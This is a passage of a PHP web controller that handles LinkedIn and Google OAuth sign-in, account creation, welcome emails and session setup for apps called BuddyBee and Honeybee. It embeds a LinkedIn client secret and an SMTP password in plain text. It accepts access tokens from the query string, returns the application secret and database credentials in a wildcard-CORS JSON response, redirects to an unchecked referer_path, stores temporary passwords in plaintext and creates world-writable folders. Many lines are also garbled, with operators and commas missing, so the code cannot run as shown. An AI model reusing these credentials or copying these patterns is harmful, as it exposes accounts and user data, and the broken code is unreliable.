  6607.         $google_client->addScope('email');
  6608.         $google_client->addScope('profile');
  6609.         $google_client->addScope('openid');
  6610. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  6611.         //linked in 1st
  6612.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  6613.             $curl curl_init();
  6614.             curl_setopt_array($curl, array(
  6615.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6616.                 CURLOPT_HEADER => false,  // don't return headers
  6617.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6618.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6619.                 CURLOPT_ENCODING => "",     // handle compressed
  6620.                 CURLOPT_USERAGENT => "test"// name of client
  6621.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6622.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6623.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6624.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6625.                 CURLOPT_USERAGENT => 'InnoPM',
  6626.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6627.                 CURLOPT_POST => 1,
  6628.                 CURLOPT_HTTPHEADER => array(
  6629.                     'Content-Type: application/x-www-form-urlencoded'
  6630.                 )
  6631.             ));
  6632.             $content curl_exec($curl);
  6633.             $contentArray = [];
  6634.             curl_close($curl);
  6635.             $token false;
  6636. //      return new JsonResponse(array(
  6637. //          'content'=>$content,
  6638. //          'contentArray'=>json_decode($content,true),
  6639. //
  6640. //      ));
  6641.             if ($content) {
  6642.                 $contentArray json_decode($contenttrue);
  6643.                 $token $contentArray['access_token'];
  6644.             }
  6645.             if ($token) {
  6646.                 $applicantInfo = [];
  6647.                 $curl curl_init();
  6648.                 curl_setopt_array($curl, array(
  6649.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6650.                     CURLOPT_HEADER => false,  // don't return headers
  6651.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6652.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6653.                     CURLOPT_ENCODING => "",     // handle compressed
  6654.                     CURLOPT_USERAGENT => "test"// name of client
  6655.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6656.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6657.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6658.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6659.                     CURLOPT_USERAGENT => 'InnoPM',
  6660.                     CURLOPT_HTTPGET => 1,
  6661.                     CURLOPT_HTTPHEADER => array(
  6662.                         'Authorization: Bearer ' $token,
  6663.                         'Header-Key-2: Header-Value-2'
  6664.                     )
  6665.                 ));
  6666.                 $userGeneralcontent curl_exec($curl);
  6667.                 curl_close($curl);
  6668.                 if ($userGeneralcontent) {
  6669.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6670.                 }
  6671.                 $curl curl_init();
  6672.                 curl_setopt_array($curl, array(
  6673.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6674.                     CURLOPT_HEADER => false,  // don't return headers
  6675.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6676.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6677.                     CURLOPT_ENCODING => "",     // handle compressed
  6678.                     CURLOPT_USERAGENT => "test"// name of client
  6679.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6680.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6681.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6682.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6683. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6684.                     CURLOPT_USERAGENT => 'InnoPM',
  6685.                     CURLOPT_HTTPGET => 1,
  6686.                     CURLOPT_HTTPHEADER => array(
  6687.                         'Authorization: Bearer ' $token,
  6688.                         'Header-Key-2: Header-Value-2'
  6689.                     )
  6690.                 ));
  6691.                 $userEmailcontent curl_exec($curl);
  6692.                 curl_close($curl);
  6693.                 $token false;
  6694.                 if ($userEmailcontent) {
  6695.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6696.                 }
  6697. //        $oAuthEmail = $applicantInfo['email'];
  6698. //        return new JsonResponse(array(
  6699. //          'userEmailcontent'=>$userEmailcontent,
  6700. //          'userGeneralcontent'=>$userGeneralcontent,
  6701. //        ));
  6702. //        return new response($userGeneralcontent);
  6703.                 $oAuthData = [
  6704.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6705.                     'uniqueId' => $userGeneralcontent['id'],
  6706.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6707.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6708.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6709.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6710.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6711.                     'type' => 1,
  6712.                     'token' => $token,
  6713.                 ];
  6714.             }
  6715.         } else if (isset($_GET["code"])) {
  6716.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6717.             if (!isset($token['error'])) {
  6718.                 $google_client->setAccessToken($token['access_token']);
  6719.                 $google_service = new Google_Service_Oauth2($google_client);
  6720.                 $applicantInfo $google_service->userinfo->get();
  6721.                 $oAuthEmail $applicantInfo['email'];
  6722.                 $oAuthData = [
  6723.                     'email' => $applicantInfo['email'],
  6724.                     'uniqueId' => $applicantInfo['id'],
  6725.                     'image' => $applicantInfo['picture'],
  6726.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6727.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6728.                     'firstName' => $applicantInfo['givenName'],
  6729.                     'lastName' => $applicantInfo['familyName'],
  6730.                     'type' => $token['token_type'],
  6731.                     'token' => $token['access_token'],
  6732.                 ];
  6733.             }
  6734.         } else if (isset($_GET["access_token"])) {
  6735.             $token $_GET["access_token"];
  6736.             $tokenType $_GET["token_type"];
  6737.             if (!isset($token['error'])) {
  6738.                 $google_client->setAccessToken($token);
  6739.                 $google_service = new Google_Service_Oauth2($google_client);
  6740.                 $applicantInfo $google_service->userinfo->get();
  6741.                 $oAuthEmail $applicantInfo['email'];
  6742.                 $oAuthData = [
  6743.                     'email' => $applicantInfo['email'],
  6744.                     'uniqueId' => $applicantInfo['id'],
  6745.                     'image' => $applicantInfo['picture'],
  6746.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6747.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6748.                     'firstName' => $applicantInfo['givenName'],
  6749.                     'lastName' => $applicantInfo['familyName'],
  6750.                     'type' => $tokenType,
  6751.                     'token' => $token,
  6752.                 ];
  6753.             }
  6754.         }
  6755.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6756.             // Multi-email aware, injection-safe (2026-07-04 fix): match the OAuth email against ANY
  6757.             // tagged email (comma list, email OR oAuthEmail). Replaces exact single-value findOneBy
  6758.             // + a hand-rolled comma-LIKE that interpolated the email into SQL and false-matched.
  6759.             $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthData['email']);
  6760.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6761.                 $isApplicantExist $applicantRepo->findOneBy([
  6762.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6763.                 ]);
  6764.             }
  6765.             if ($isApplicantExist) {
  6766.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6767.                 } else
  6768.                     return $this->redirectToRoute("core_login", [
  6769.                         'id' => $isApplicantExist->getApplicantId(),
  6770.                         'oAuthData' => $oAuthData,
  6771.                         'encData' => $encData,
  6772.                         'locale' => $request->request->get('locale''en'),
  6773.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6774.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6775.                     ]);
  6776.             } else {
  6777.                 $fname $oAuthData['firstName'];
  6778.                 $lname $oAuthData['lastName'];
  6779.                 $img $oAuthData['image'];
  6780.                 $email $oAuthData['email'];
  6781.                 $oAuthEmail $oAuthData['email'];
  6782.                 $userName explode('@'$email)[0];
  6783.                 //now check if same username exists
  6784.                 $username_already_exist 1;
  6785.                 $initial_user_name $userName;
  6786.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6787.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6788.                     $isUsernameExist $applicantRepo->findOneBy([
  6789.                         'username' => $userName
  6790.                     ]);
  6791.                     if ($isUsernameExist) {
  6792.                         $username_already_exist 1;
  6793.                         $userName $initial_user_name '' rand(3009987);
  6794.                     } else {
  6795.                         $username_already_exist 0;
  6796.                     }
  6797.                     $timeoutSafeCount--;
  6798.                 }
  6799.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6800.                     $currentUnixTimeStamp '';
  6801.                     $currentUnixTime = new \DateTime();
  6802.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6803.                     $userName $userName '' $currentUnixTimeStamp;
  6804.                 }
  6805.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6806.                 $charactersLength strlen($characters);
  6807.                 $length 8;
  6808.                 $password 0;
  6809.                 for ($i 0$i $length$i++) {
  6810.                     $password .= $characters[rand(0$charactersLength 1)];
  6811.                 }
  6812.                 $newApplicant = new EntityApplicantDetails();
  6813.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6814.                 $newApplicant->setEmail($email);
  6815.                 $newApplicant->setUserName($userName);
  6816.                 $newApplicant->setFirstname($fname);
  6817.                 $newApplicant->setLastname($lname);
  6818.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6819.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6820.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6821.                 $newApplicant->setAccountStatus(1);
  6822.                 $salt uniqid(mt_rand());
  6823.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6824.                 $newApplicant->setPassword($encodedPassword);
  6825.                 $newApplicant->setSalt($salt);
  6826.                 $newApplicant->setTempPassword($password);;
  6827. //                $newApplicant->setPassword($password);
  6828.                 $marker $userName '-' time();
  6829. //                $extension_here=$uploadedFile->guessExtension();
  6830. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6831. //                $path = $fileName;
  6832.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6833.                 if (!file_exists($upl_dir)) {
  6834.                     mkdir($upl_dir0777true);
  6835.                 }
  6836.                 $ch curl_init($img);
  6837.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6838.                 curl_setopt($chCURLOPT_FILE$fp);
  6839.                 curl_setopt($chCURLOPT_HEADER0);
  6840.                 curl_exec($ch);
  6841.                 curl_close($ch);
  6842.                 fclose($fp);
  6843.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6844. //                $newApplicant->setImage($img);
  6845.                 $newApplicant->setIsConsultant(0);
  6846.                 $newApplicant->setIsTemporaryEntry(0);
  6847.                 $newApplicant->setApplyForConsultant(0);
  6848.                 $em->persist($newApplicant);
  6849.                 $em->flush();
  6850.                 // GR2 (GROWTH) â€” fresh registration: stamp the viral-touch conversion if this
  6851.                 // browser landed via a GR1 backlink. Fully guarded inside; never affects signup.
  6852.                 \ApplicationBundle\Modules\LeadGen\Service\ViralAttributionService::stampConversion($em$request$newApplicant->getId());
  6853.                 $isApplicantExist $newApplicant;
  6854.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6855.                     if ($systemType == '_BUDDYBEE_') {
  6856.                         $bodyHtml '';
  6857.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6858.                         $bodyData = array(
  6859.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6860.                             'email' => $userName,
  6861.                             'password' => $newApplicant->getPassword(),
  6862.                         );
  6863.                         $attachments = [];
  6864.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6865. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6866.                         $new_mail $this->get('mail_module');
  6867.                         $new_mail->sendMyMail(array(
  6868.                             'senderHash' => '_CUSTOM_',
  6869.                             //                        'senderHash'=>'_CUSTOM_',
  6870.                             'forwardToMailAddress' => $forwardToMailAddress,
  6871.                             'subject' => 'Welcome to BuddyBee ',
  6872. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6873.                             'attachments' => $attachments,
  6874.                             'toAddress' => $forwardToMailAddress,
  6875.                             'fromAddress' => 'registration@buddybee.eu',
  6876.                             'userName' => 'registration@buddybee.eu',
  6877.                             'password' => 'Y41dh8g0112',
  6878.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6879.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6880.                             'encryptionMethod' => 'ssl',
  6881. //                            'emailBody' => $bodyHtml,
  6882.                             'mailTemplate' => $bodyTemplate,
  6883.                             'templateData' => $bodyData,
  6884. //                        'embedCompanyImage' => 1,
  6885. //                        'companyId' => $companyId,
  6886. //                        'companyImagePath' => $company_data->getImage()
  6887.                         ));
  6888.                     } else {
  6889.                         $bodyHtml '';
  6890.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6891.                         $bodyData = array(
  6892.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6893.                             'email' => 'APP-' $userName,
  6894.                             'password' => $newApplicant->getPassword(),
  6895.                         );
  6896.                         $attachments = [];
  6897.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6898. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6899.                         $new_mail $this->get('mail_module');
  6900.                         $new_mail->sendMyMail(array(
  6901.                             'senderHash' => '_CUSTOM_',
  6902.                             //                        'senderHash'=>'_CUSTOM_',
  6903.                             'forwardToMailAddress' => $forwardToMailAddress,
  6904.                             'subject' => 'Applicant Registration on Honeybee',
  6905. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6906.                             'attachments' => $attachments,
  6907.                             'toAddress' => $forwardToMailAddress,
  6908.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6909.                             'userName' => 'accounts@ourhoneybee.eu',
  6910.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  6911.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  6912.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  6913.                             'encryptionMethod' => 'ssl',
  6914. //                            'emailBody' => $bodyHtml,
  6915.                             'mailTemplate' => $bodyTemplate,
  6916.                             'templateData' => $bodyData,
  6917. //                        'embedCompanyImage' => 1,
  6918. //                        'companyId' => $companyId,
  6919. //                        'companyImagePath' => $company_data->getImage()
  6920.                         ));
  6921.                     }
  6922.                 }
  6923.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6924.                 } else {
  6925.                     return $this->redirectToRoute("core_login", [
  6926.                         'id' => $newApplicant->getApplicantId(),
  6927.                         'oAuthData' => $oAuthData,
  6928.                         'encData' => $encData,
  6929.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6930.                         'locale' => $request->request->get('locale''en'),
  6931.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6932.                     ]);
  6933.                 }
  6934.             }
  6935.         }
  6936.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6937.             if ($isApplicantExist) {
  6938.                 $user $isApplicantExist;
  6939.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6940.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  6941.                 $globalId $user->getApplicantId();
  6942.                 $gocList $em
  6943.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  6944.                     ->findBy(
  6945.                         array(//                        'active' => 1
  6946.                         )
  6947.                     );
  6948.                 $gocDataList = [];
  6949.                 $gocDataListForLoginWeb = [];
  6950.                 $gocDataListByAppId = [];
  6951.                 foreach ($gocList as $entry) {
  6952.                     $d = array(
  6953.                         'name' => $entry->getName(),
  6954.                         'image' => $entry->getImage(),
  6955.                         'id' => $entry->getId(),
  6956.                         'appId' => $entry->getAppId(),
  6957.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  6958.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  6959.                         'dbName' => $entry->getDbName(),
  6960.                         'dbUser' => $entry->getDbUser(),
  6961.                         'dbPass' => $entry->getDbPass(),
  6962.                         'dbHost' => $entry->getDbHost(),
  6963.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  6964.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  6965.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  6966.                         'companyRemaining' => $entry->getCompanyRemaining(),
  6967.                         'companyAllowed' => $entry->getCompanyAllowed(),
  6968.                     );
  6969.                     $gocDataList[$entry->getId()] = $d;
  6970.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  6971.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  6972.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  6973.                 }
  6974.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  6975.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6976.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6977.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6978.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6979.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6980.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6981.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6982.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6983.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6984.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6985.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6986.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6987.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6988.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6989.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6990.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6991.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6992.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6993.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6994.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6995.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6996.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6997.                     $session->set('userCompanyVibrantList'json_encode([]));
  6998.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6999.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7000.                     $session->set(UserConstants::USER_APP_ID0);
  7001.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  7002.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  7003.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  7004.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  7005.                     $session->set(UserConstants::USER_GOC_ID0);
  7006.                     $session->set(UserConstants::USER_DB_NAME'');
  7007.                     $session->set(UserConstants::USER_DB_USER'');
  7008.                     $session->set(UserConstants::USER_DB_PASS'');
  7009.                     $session->set(UserConstants::USER_DB_HOST'');
  7010.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  7011.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  7012.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  7013.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  7014.                     $session->set('locale'$request->request->get('locale'''));
  7015.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  7016.                     $route_list_array = [];
  7017.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  7018.                     $loginID 0;
  7019.                     $loginID MiscActions::addEntityUserLoginLog(
  7020.                         $em,
  7021.                         $session->get(UserConstants::USER_ID),
  7022.                         $session->get(UserConstants::USER_ID),
  7023.                         1,
  7024.                         $request->server->get("REMOTE_ADDR"),
  7025.                         0,
  7026.                         $request->request->get('deviceId'''),
  7027.                         $request->request->get('oAuthToken'''),
  7028.                         $request->request->get('oAuthType'''),
  7029.                         $request->request->get('locale'''),
  7030.                         $request->request->get('firebaseToken''')
  7031.                     );
  7032.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7033.                     $session_data = array(
  7034.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7035.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7036.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7037.                         'oAuthToken' => $session->get('oAuthToken'),
  7038.                         'locale' => $session->get('locale'),
  7039.                         'firebaseToken' => $session->get('firebaseToken'),
  7040.                         'token' => $session->get('token'),
  7041.                         'firstLogin' => 0,
  7042.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7043.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7044.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7045.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7046.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7047.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7048.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7049.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7050.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7051.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7052.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7053.                         'oAuthImage' => $session->get('oAuthImage'),
  7054.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7055.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7056.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7057.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7058.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7059.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7060.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7061.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7062.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7063.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7064.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7065.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7066.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7067.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7068.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7069.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7070.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7071.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7072.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7073.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7074.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7075.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7076.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7077.                         //new
  7078.                         'appIdList' => $session->get('appIdList'),
  7079.                         'branchIdList' => $session->get('branchIdList'null),
  7080.                         'branchId' => $session->get('branchId'null),
  7081.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7082.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7083.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7084.                     );
  7085.                     $accessList = [];
  7086. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7087.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7088.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7089.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7090.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7091.                                 $d = array(
  7092.                                     'userType' => $thisUserUserType,
  7093. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7094.                                     'userTypeName' => $userTypeName,
  7095.                                     'globalId' => $globalId,
  7096.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7097.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7098.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7099.                                     'systemType' => '_ERP_',
  7100.                                     'companyId' => 1,
  7101.                                     'appId' => $thisUserAppId,
  7102.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7103.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7104.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7105.                                             array(
  7106.                                                 'globalId' => $globalId,
  7107.                                                 'appId' => $thisUserAppId,
  7108.                                                 'authenticate' => 1,
  7109.                                                 'userType' => $thisUserUserType,
  7110.                                                 'userTypeName' => $userTypeName
  7111.                                             )
  7112.                                         )
  7113.                                     ),
  7114.                                     'userCompanyList' => [
  7115.                                     ]
  7116.                                 );
  7117.                                 $accessList[] = $d;
  7118.                             }
  7119.                         }
  7120.                     }
  7121.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7122.                     $session_data['userAccessList'] = $accessList;
  7123.                     $session->set('userAccessList'json_encode($accessList));
  7124.                     $session_data $this->filterClientSessionData($session_data);
  7125.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7126.                     $session_data $tokenData['sessionData'];
  7127.                     $token $tokenData['token'];
  7128.                     $session->set('token'$token);
  7129.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7130.                         $session->set('remoteVerified'1);
  7131.                         $response = new JsonResponse(array(
  7132.                             'token' => $token,
  7133.                             'uid' => $session->get(UserConstants::USER_ID),
  7134.                             'session' => $session,
  7135.                             'success' => true,
  7136.                             'session_data' => $session_data,
  7137.                         ));
  7138.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7139.                         return $response;
  7140.                     }
  7141.                     if ($request->request->has('referer_path')) {
  7142.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7143.                             return $this->redirect($request->request->get('referer_path'));
  7144.                         }
  7145.                     }
  7146.                     $redirectRoute 'applicant_dashboard';
  7147.                     if ($request->query->has('encData')) {
  7148.                         if ($request->query->get('encData') == '8917922')
  7149.                             $redirectRoute 'apply_for_consultant';
  7150.                     }
